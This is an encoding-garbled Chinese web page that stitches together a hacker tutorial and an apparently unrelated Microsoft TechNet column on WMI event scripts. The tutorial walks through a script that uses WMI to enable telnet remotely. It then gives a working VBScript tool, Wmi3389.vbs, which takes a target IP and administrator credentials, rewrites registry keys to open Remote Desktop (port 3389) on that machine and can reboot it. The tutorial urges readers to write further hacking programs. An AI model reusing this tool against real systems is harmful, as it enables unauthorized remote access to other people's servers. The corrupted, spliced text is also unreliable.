??xml version="1.0" encoding="utf-8" standalone="yes"?>
====================================================================================
WMI 最初于1998q作Z个附加组件与 Windows NT 4.0 Service Pack 4 一起发行,是内|在Windows 2000?Windows XP和Windows Server 2003 pd操作pȝ中核心的理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准,WMI是一U规范和基础l构Q通过它可以访问、配|、管理和监视几乎所有的Windows资源。大多用户习惯于使用众多的图形化理工具来管理Windows资源Q在WMI之前q些工具都是通过 Win32应用E序~程接口(Application ProgrammingInterfacesQAPI)来访问和理Windows资源的。只要你熟?zhn)pȝ~程你就知道API有多么重要。但是大多数脚本语言都不能直接调用Win32 APIQWMI的出C得系l管理员可以通过一U简便的Ҏ(gu)卛_用常见的脚本语言实现常用的系l管理Q务。?
利用WMI需要和脚本如WSH和VBScriptl合hQ可以实现的功能大家可以看微软的MSDN文档。?
在编写我们自q脚本之前Q我们需要对WMI的体pȝ构有个基本的了解。如图一Q?1.gif)
在WMI 体系l构中我们最需要关心的是WMI提供E序QWMI提供E序在WMI和托资源之间扮演着中间方的角色。提供程序代表用者应用程序和脚本从WMI托管资源h信息Qƈ发送指令到WMI托管资源。下面是我们利用WMI~程l常要用到的WMI内置提供E序清单Q以供编E参考。?
1.Active Directory提供E序
链接库文Ӟdsprov.dll
命名I间Qroot\directory\ldap
作用Q将Active Directory 对象映射刊WWMI。?
2.事g日志提供E序
链接库文Ӟntevt.dll
命名I间Qroot\cimv2
作用Q管理 Windows 事g日志Q例如,d、备份、清除、复制、删除、监视、重命名、压~、解压羃和更改事件日志设|。?
3.注册表提供程序?
链接库文Ӟstdprov.dll
命名I间Qroot\default
作用Q读取、写入、枚举、监视、创建、删除注册表和倹{?
4.Win32 提供E序
链接库文Ӟcimwin32.dll
命名I间Qroot\cimv2
作用Q提供关于计机、磁盘、外围设备、文件、文件夹、文件系l、网l组件、操作系l、打印机、进E、安全性、服务、共享、SAM 用户及组Q以及更多资源的信息。?
5.Windows 安装E序提供E序
链接库文Ӟmsiprov.dll
命名I间Qroot\cimv2
作用Q提供对已安装Y件信息的讉K。?
从上面可以看出在WMI中类Q即内置提供E序Q被分组到命名空间中Q命名空间可以看成是一个组。比如,命名I间 root\cimv2 包括大部分表C通常与计机和操作系l相兌的资源的cR在使用cȝ时候要说明cL在的命名I间。类由属性和Ҏ(gu)构成。这是可视化~程中的两个重要的概c属性描q的是对象的状态,Ҏ(gu)是对象可以执行的操作。?
理论知识学v来很枯燥Q下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。?
二:解析RTCS.VBS主要代码
=====================================================================================
有时候阅d人的源码未尝不是一个好而且快捷的办法,下面p我们来认真学习zzzEVAzzz~写的一个可以远E开启telnet服务的脚本RTCS.VBS。?
该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现q程开?关闭目标telnet服务Qؓ了方便大家学习我抽出了最主要的代码,具体分析如下Q?
set objlocator=createobject("wbemscripting.swbemlocator")
//创徏WbemScripting.SwbemLocator对象(脚本接口)。?
//可以看出WMI其实是把ComlgWbemScripting.SWbemLocator装h|了。?
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
//通过ConnectServer函数hq接到WMI控g服务上,root/default为命名空间。?
set objinstance=objswbemservices.get("stdregprov")
//建立讉K注册表的实例。?
set objmethod=objinstance.methods_("SetDWORDvalue")
//建立可以更改注册表键值的Ҏ(gu)。?
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters用于获取或设|方法的输入参数。这里用spawninstanceҎ(gu)为它建立一个子实例Q下面就可以参数D予这个对象的属性。?
objinparam.hdefkey=&h80000002
//hdefkey表示栚wQ根键的十六制值如下:
//HKEY_CLASSES_ROOT (&H80000000)
//HKEY_CURRENT_USER (&H80000001)
//HKEY_LOCAL_MACHINE (&H80000002)
//HKEY_USERS (&H80000003)
//HKEY_CURRENT_CONFIG (&H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname表示子键。?
objinparam.svaluename="NTLM"
//svaluename表示属性名。?
objinparam.uvalue=ntlm
//uvalue表示键倹{?
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
//利用execmethod执行Ҏ(gu)Q这里才真正改写了注册表。?
//下面是修改telnet服务的TelnetPort|原理同上。?
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
修改telnet的注册表部分完成了Q将NTLM和TelnetPortq行了修改,要是Ҏ(gu)的telnet服务没有开启呢Q下面就需要根据telnet的具体情况,来启动telnet服务Ql看代码。?
//首先查询q程L上tlntsvr的启动方式。?
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
//win32_servicecdroot\cimv2命名I间中,作用没忘记吧Q快看基知识c?
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//注意Q查询都是通过枚D来实现的。?
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
set objmethod=objinstance.methods_("changestartmode")
//创徏changestartmodeҎ(gu)来改变tlntsvr的启动方式。?
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//启动方式改为手动方式。?
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
end if
//下面启动我们的telnet服务。这里zzzEVAzzz的思\好象有点不对Q也不知道是不是他的疏忽Q我个h认ؓ当telnet服务已经启动时不应该用stopserviceҎ(gu)停止服务。?
if objinstance.started=true then
intstatus=objinstance.stopservice()
//stopservice是WMI中用于停止服务实例的服务的方法。?
else
intstatus=objinstance.startservice()
end if
next
三:手把手教你编写WMI版本的ROTS.vbs来开?389
=====================================================================================
zzzVEAzzz 的脚本就分析到这里吧Q怎么P很EASY吧?Q我怿大家现在一定蠢蠢欲动了Q?)好,一h写一个什么程序呢QROTS.vbs我想大家一定都用过吧?什么东东啊Q我……砸!大家应该知道q个ROTS是有它的使用条g的,不仅要有理员帐Pq要允许q行ipcq接Q在q个到处都是墙的q代Qipc 早就不实用了Q而且ROTS.vbs早就被查杀了,那该怎么办?当然是自己动手了。能不能实现ROTS的一Lq程开?389的功能而不受ipc的限制呢Q答案自从我写了q篇文章后成定的Q哈哈,吹吹了。?
当然我们也是要求pȝ臛_?000server及以上的Q最q看到有个Y件可以给2000pro开3389Q由于比较忙Q也没怎么ȝ它,q里我们暂且不说它,知道了原理一样好办。?
开?389有个注册表导入的Ҏ(gu)Q其它一些Y件的开法,我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
原理知道了就没什么难的了Q先理清我们的思\Q我们的主要d是更Ҏ(gu)册表里的键倹{首先是创徏WMI对象Q然后是q接到远EWMI服务器,最后修Ҏ(gu)册表键倹{?
部分主要代码如下Q完整的代码和详l的注释L附带的Y件包Q?
on error resume next
//防止出现意外。?
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
//cmd后带/K参数表示执行字符串指定的命o。?
wscript.quit
end if
//q行单的查。?
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
//取出参数Q分别赋予几个变量。?
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
option=wscript.arguments(3)
usage()
下面是核心代码,也是实现q程修改注册表的功能Q我q里l出另外一U实现的方式Q对照前面的代码很容易理解,我就只作单的解释了。详l情况可以参阅MSDN文档中关于StdRegProvcȝ说明。?
Qhttp://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.aspQ?
const HKEY_LOCAL_MACHINE = &H80000002
const HKEY_USERS=&H80000003
strComputer = ipaddress
//获取wmi对象
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "ShutdownWithoutLogon"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue
//下面实现重启q程机器
if option="/r" then
outstreem.write "Now, rebooting target...."
strwmiquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."
//单的用法说明的函数。?
function usage()
wscript.echo string(60,"=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "No ipc Open 3389, code written by pye."
wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"
wscript.echo "/r reboot the target this is optional"
wscript.echo "It use WMI to Open 3389 of target server."
wscript.echo string(60,"=")&vbcrlf
end function
上面的代码复制带记事本里,保存为Wmi3389.vbs。然后在CMD里执行:
cscript Wmi3389.vbs ipaddress administrator password [/r]
看看是不是和ROTS.vbs有一L效果啊?大家赶快实践实践吧。?
四:最后的唠叨
=====================================================================================
大家可以看出WMI的功能是很强大的Q这里要感谢MicroSoft了,它是永远都不会让我们失望的。WMI对象允许通过VBQVBAQWSHQ? VBScriptQ JScriptQASPQ或是支持自动对象的其它环境Q对WMIq行完全讉K。在参考查询体pM加入 WMI Scripting V1.1 Library Q则Visual Basic或是VBAҎ(gu)可以访问这些对象了。支持ActiveXE序的操作^台可以通过对象cȝ代号Q或是类的名U创些对象,q些对象的前~是WbemScriptingQ如 WbemScripting.SwbemLocator。所以大家有兴趣的完全可以利用VBQWSHQVBScriptQ JScriptQASP{编写更多的利用WMI的黑客程?/font>
]]>
很少有h向我询问有关WMI事g的问题。这U情늜上去q不正常。WMI的确具备非常“酷”的功能Ҏ(gu)?-或许多少有些复杂--但迄今ؓ止,我们未收到q有兛_的Q何问题。这U情冉|否出于广大专业h员对WMI所具备的事件处理能力尚不熟(zhn)的~故Q亦或出于从未有人向(zhn)介l过有关情况Q而?zhn)也没有碰巧读到过合适的书籍Q?
好吧Q就情늚如此,而本月的专栏文章则将围绕q一主题向?zhn)q行要介l。尽?zhn)应可凭借这专栏文章蹒跚学步,q了解有关WMI事g的些许皮毛,然而,我们仍希望?zhn)臛_对WMI事g的常规工作方式具备最基本的认识,q将Ҏ(gu)大有帮助。如果?zhn)需要在l箋阅读本文之前先对WMIq行一ơ速成式学习,那么Q我们便强烈(zhn)选用位于MSDN的WMI入门指南pd教材Q?zhn)只需阅读该系列教材的W一部分Q即可掌握与事g有关的入门知识,qؓl箋学习事g技术奠定良好基?
好的Q在我们开始学习WMI事g之前Q或许应所谓“事件”的含义达成p。事件是指那些发生在计算机环境内部的对象。实际上Q那些只是潜在的事gQ而当(zhn)对某一事物的发生给予关注时Q它才算的上真正发生Q而这是一个事件?
而言之,WMI事g正是(zhn)所x对象--也就是说Q?zhn)所需获得通知的对?-已经发生的通知。D例来_(zhn)也许希望在Web服务器的处理器用M比率过90Q这一阈值时接到有关通知Q以便设|一定数量的间歇。或许?zhn)q希望在本公司文件服务器d储容量占用率低于10Q的情况下接到相关通知。而WMI事g则是一U由WMI提供的机Ӟ可帮助?zhn)借助某一特定脚本针对pȝ变化q行相应配置Q执行接收操作,q做出必要响应?
而针对WMI加以理解的另一U方法则是,WMI事g对于WMI来说Q就如同警报信息对于性能监视器、陷阱对于SNMP和规则对于Microsoft操作理器(MOMQ所h的意义。以上四l关pM表着针对pȝ和(或)|络变化q行监视或做出反应的具体方式?
话已l说得够多了。现在让我们开始编写脚本。以下脚本主要用来针对基于本地计机Q也是(zhn)赖以运行脚本的计算机)的进E实施监控。而该脚本所L的事件则是notepad.exeq程的创建。如需对这个脚本加以试用,则请其输入C本,q保存ؓMonitorNotepad.vbs。接着Q打开一个命令行H体QƈD至保存有下列脚本的目录,然后Q输入C:\scripts>cscript MonitorNotepad.vbs?
strComputer = "." Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2") strWQL = "SELECT * " & _ "FROM __InstanceCreationEvent " & _ "WITHIN 2 " & _ "WHERE TargetInstance ISA 'Win32_Process' " & _ "AND TargetInstance.Name = 'notepad.exe'" WScript.Echo "Waiting for a new instance of Notepad to start..." Set objEventSource = objWMIService.ExecNotificationQuery(strWQL) Set objEventObject = objEventSource.NextEvent() WScript.Echo "A new instance of Notepad was just started."
在脚本运行过E中Q?zhn)会看到如下图所C的情况出现Q?
如果(zhn)所使用的浏览器无法支持嵌入式框Ӟ? 点击此处 以便在单独页面中q行览?
如果(zhn)接着q行了一个新的记事本实例Q该脚本便会做出如下反应Q?
如果(zhn)所使用的浏览器无法支持嵌入式框Ӟ? 点击此处 以便在单独页面中q行览?
如图所C,(zhn)目前已具备了针对记事本q程实施监控的能力。而这U能力将有助于?zhn)避免长达数小时的无效力_Q难道不是吗Q好吧,或许情况q不致于此。但事实却是Q?zhn)可在M具备WMI支持Ҏ(gu)的计算备上利用与上q脚本相似的其它脚本针对M由WMI负责理的资源实施监控,从这个角度来看,事g脚本则可帮助(zhn)避免长达数时的无效劳动?
试想(zhn)拥有一台非常繁忙的企业内部|络服务器,q在此基上进一步假设?zhn)的企业Web开发部门偶会某些有害代码发布至上述企业内部|络服务器,而这些有害代码则可能莫名其妙地设法杀ȝ关Web服务。每当有Web服务l止Q?zhn)的用户便会有所反应。而首当其冲的修复Ҏ(gu)Q尽只能应付燃眉之急)则是重新启动刚刚遭到l止的Web服务。如果?zhn)能够以自动化方式完成上述处理q程Q那是一U相当有用的功能Ҏ(gu)。下列脚本ؓ(zhn)展CZ实现上述功能的具体方法。该脚本针寚w到终止的Web服务q行,q试N新启动相x务。请在?zhn)键入该脚本的q程中注意分辨它与前面那个记事本监控脚本的区别所在?
StrComputer = ?? Set objWMIService = GetObject(“winmgmts://?& strComputer & ?root/cimv2? strWQL = “SELECT * ?& _ “FROM __InstanceModificationEvent ?& _ “WITHIN 2 ?& _ “WHERE TargetInstance ISA ‘Win32_Service??& _ “AND TargetInstance.Name = ‘w3svc’?& _ “AND TargetInstance.State = ‘Stopped’? Set objEventSource = objWMIService.ExecNotificationQuery(strWQL) Wscript.Echo “Monitoring the web service…? Set objEventObject = objEventSource.NextEvent() Wscript.Echo “The web service just stopped.?
Zw体验上q脚本的q行效果Q请其键入C本界面,q保存ؓMonitorWeb.vbs。接下来Q应保W3SVC服务在本地计机上处于运行状态(使用net start w3svc命o是一U非常有效的Ҏ(gu)Q。然后,在一个命令行H体内键入C:\scripts>cscript MonitorWeb.vbsQ以便开始运行该脚本。于是,(zhn)便会看到如下图所C的情况出现Q?
如果(zhn)所使用的浏览器无法支持嵌入式框Ӟ? 点击此处 以便在单独页面中q行览?
接下来,h开另一个命令行H体Qƈ通过键入C:\>net stop w3svc的方式终止相关Web服务。而该脚本则应注意到相关Web服务已被l止Qƈ为?zhn)昄一条相关信息:
如果(zhn)所使用的浏览器无法支持嵌入式框Ӟ? 点击此处 以便在单独页面中q行览?
在这一时点Q该脚本仅仅使用了下面这行代码即已侦到Web服务已被l止Q?
WScript.Echo "The web service just stopped."
q行代码主要用来昄一条相关信息;当然Q?zhn)q可通过d代码的方式轻而易丑֜实现Web服务重启Qƈ为确保重启功能有效而再ơ执行检查,同时Q发送给(zhn)一针对已发生所有事件加以简要概括的?sh)子邮g。那些曾览q“脚本O谈”专栏开文章的读者将可借助Run或ExecҎ(gu)轻而易丑֜q行“net start w3svc”命令。而那些已通过查阅WMI入门pdȝ方式深入ȝqWMI的朋友则可运用WMI实现相关服务的重新启动。在M情况下,q种操作都将是非常直截了当的。下面提供了一个利用RunҎ(gu)辑ֈ上述目的的示例脚本:
strComputer = "." Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2") strWQL = "SELECT * " & _ "FROM __InstanceModificationEvent " & _ "WITHIN 2 " &_ "WHERE TargetInstance ISA 'Win32_Service' " & _ "AND TargetInstance.Name = 'w3svc'" & _ "AND TargetInstance.State = 'Stopped'" Set objEventSource = objWMIService.ExecNotificationQuery(strWQL) WScript.Echo "Monitoring the web service..." Set objEventObject = objEventSource.NextEvent() WScript.Echo "Web service just stopped....waiting for a few seconds." WScript.Sleep(5000) WScript.Echo "Attempting to restart the web service using the net.exe tool." Set objShell = CreateObject("WScript.Shell") objShell.Run "%COMSPEC% /c net start w3svc",,1 WScript.Echo "Restarted the web service"
如需试q行上述脚本Q请务必保相关Web服务Qw3svcQ正处于q行状态,q在此基上执行该脚本。一旦脚本显C如下信息:Monitoring the web service…(正在对Web服务q行监视……)Q就h开W二个命令行H体Qƈ通过键入type C:\>net stop w3svc的方法终止相x务。而该脚本则应觉察到相关Web服务已被l止Q接着Q脚本将暂停几秒钟,以确保服务关闭操作执行完毕,然后Q脚本将通过发出net start w3svc指o的方式重新启动相x务。下囑ֱCZ上述脚本在执行过E中所输出的信息:
如果(zhn)所使用的浏览器无法支持嵌入式框Ӟ? 点击此处 以便在单独页面中q行览?
令h充满希望的是Q?zhn)卛_开始对某些问题隐?zhn)l予x。如果?zhn)的确希望如此Q便有可能对有关上述某一脚本的逐行解释抱有兴趣--而这恰恰是我们即在本月中全力提供的信息服务内容?
脚本代码行:
strComputer = "."
仅仅用来?zhn)执行相关操作所需依托的计机名称存储于当前脚本的下一行。引号中的圆点(?”)表示“用本地计机”。如果?zhn)目前正处在某一|络环境下,而自己又是基于附q另一台计机的本地管理员Q则可尝试将strComputer变量讑֮己所使用的计机名称Q例如,strComputer = “WebServer01”)--也就是说Q用当前计算机名U替换圆炏V这样一来,监控脚本便可Z自n实际q行所依托的远E计机Q而非本地计算机)执行监控操作?
脚本代码行:
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")
创徏一个通往WMI服务的连接,q将针对该连接的引用保存于objWMIService变量。事实上Q这行代码具有一定的前作用QƈZq连接指定了一个专用WMI名称I间--?root/cimv2名称I间。?zhn)可将所谓名U空间当作某些类g文g夹的事物看待。所不同的是Q文件夹仅供用来一pd特定文gl织在一P而WMI名称I间则可实现一整套WMIcȝ有机l合?root/cimv2名称I间恰好同时存放着Win32_Service WMIcdWin32_Process WMIc,因此Q可供在我们讑֮的全部示例中加以应用。事实上Q?root/cimv2名称I间存储着关系到系l管理利弊得ql大多数WMIc?-因此Q?zhn)会经常在自己的脚本中看到它ƈ使用它。只要?zhn)接触到这个名U空_我们便可告诉(zhn)cimv2位所代表的含?-它是Common Information Model, version 2Q通用信息模型2.0版)的羃写。如果?zhn)有兴了解与q一名称h有关的更多信息资料以及WMI自n的历史渊源,p做好(zhn)心M的准备,q回头访问分布式理d团队QDMTFQ网站?
接下来的一pd代码行主要用来构成一个WMI Query LanguageQWMI查询语言QWQLQ查询。由于这U特D查询方式主要被用来启动事g监控E序Q因此,l常被h们当作事仉知查询加以q用。如果?zhn)对SQL较ؓ熟?zhn)Q便会觉得这U查询方式与之大同小异。如果?zhn)对SQL也不甚了解,照样不必担心Q?zhn)只需对这U查询中部分元素所引用的对象加以理解把握,以便在需要时对它们进行相应修改,从而,辑ֈ调整查询内容的目的?
W一个重要的代码位是__InstanceModificationEvent。它?yu)可被修?gu)__InstanceCreationEvent或__InstanceDeletionEvent。所q有一炚w常明,举例来说Q将q个代码位修Ҏ(gu)__InstanceDeletionEvent的做法会D脚本攑ּ对调整事件的监视Q{而对删除事gq行监控?
WITHIN 2子句主要用来以秒为单位就某项资源的轮询事件发生频率加以设定。每隔两U对某一对象q行一ơ检查的做法在大多数情况下或许略NJ,但我们在CZ中设定这一频率的目的无非是希望产生一U快L观的效果?
ISA ‘Win32_Service’子句主要针对用以指代?zhn)所需监控对象的WMIc进行设定。如果?zhn)?gu)关WMIcȝ知识不甚了解Q就误问MSDN|站Qƈ阅读WMI入门文章。如果?zhn)需要查扑֏供加以应用的WMIc,则应下蝲ScriptomaticQƈ对其加以试用?
.Name = ‘w3svc’和.State = ‘Stopped’子句仅仅是用来监控对象局限于某项特定资源的属性设定代?-在这个示例中Q我们ؓWin32_Service指定了一个等于‘w3svc’的NameQ名Uͼ属性和一个等于‘Stopped’的StateQ状态)属性?
StrWQL = “SELECT * ?& _ “FROM __InstanceModificationEvent ?& _ “WITHIN 2 ?& _ “WHERE TargetInstance ISA ‘Win32_Service??& _ “AND TargetInstance.Name = ‘w3svc’?& _ “AND TargetInstance.State = ‘Stopped’?
接下来的代码行旨在通过q行通知查询的方式从实际上启动监视进E?
Set objEventSource = objWMIService.ExecNotificationQuery(strWQL)
~写q个代码行的目标仅仅在于监视进E已l开始的情况告知用户?
Wscript.Echo “Monitoring the web service…?
下一个代码行的作用较为重要。它?yu)脚本处于暂停状态,直到E序接收C一个事件。相x作将在这个控制点中止Q而脚本的后箋部分直到已被我们讑֮为监控对象的事g发生q已向我们发出通知的时候才会l运行?
Set objEventObject = objEventSource.NextEvent()
脚本一旦收到有关事件发生情늚通知Q便会越q暂停或L代码行,l箋q行随后出现的指令。而随后出现的指o则是(zhn)针对相关通知所应做出的响应。在q个CZ中,我们只需让用L道事仉知已被收到卛_?
WScript.Echo "The web service just stopped."
q种技巧也许在某些特定情况下具有实用h(hun)|但更多时候,(zhn)往往更需要在q个控制Ҏ(gu)行某特D操作?
到此为止Q?zhn)已掌握了必要的知识技?-也就是说Q我们已WMI事g初步介绍l?zhn)。虽然我们讨厌成为clichéQ但是,(zhn)在某些情况下将不得不ؓ从事脚本~写工作的同僚多付出一些周折:“我们只不过刚刚接触到这U具备较高实用h(hun)值的理技术的皮毛”。这也就是说Q我们希望自己已在此为?zhn)提供了够的信息资料Q而?zhn)则可借助q些信息资料围绕WMI事g处理功能应用于自w所处工作环境的具体实现方式展开思考。下个月Q我们将l箋深入探讨本文所涉及的内容,q希望针对广大读者围l本文所提出的疑N题加以解{。还是那句老话Q如果?zhn)针对本文产生了某些非常“酷”ƈQ或Q具有实用h(hun)值的xQ就h信告知我们?
我们衷心希望(zhn)渡q一个安全而愉快的假期?
脚本专家l?
以上便是我们本月呈献l?zhn)的全部篇q。如果?zhn)需要提ZQ何问题或发表M评论Q敬误?a href="mailto:%20scripter@microsoft.com?Subject=Tales from the Script - January 2003">mailto:%20scripter@microsoft.com?Subject=Tales from the Script - January 2003?
原文具体链接Q?a >http://www.microsoft.com/china/technet/columns/scripts/sg0103.asp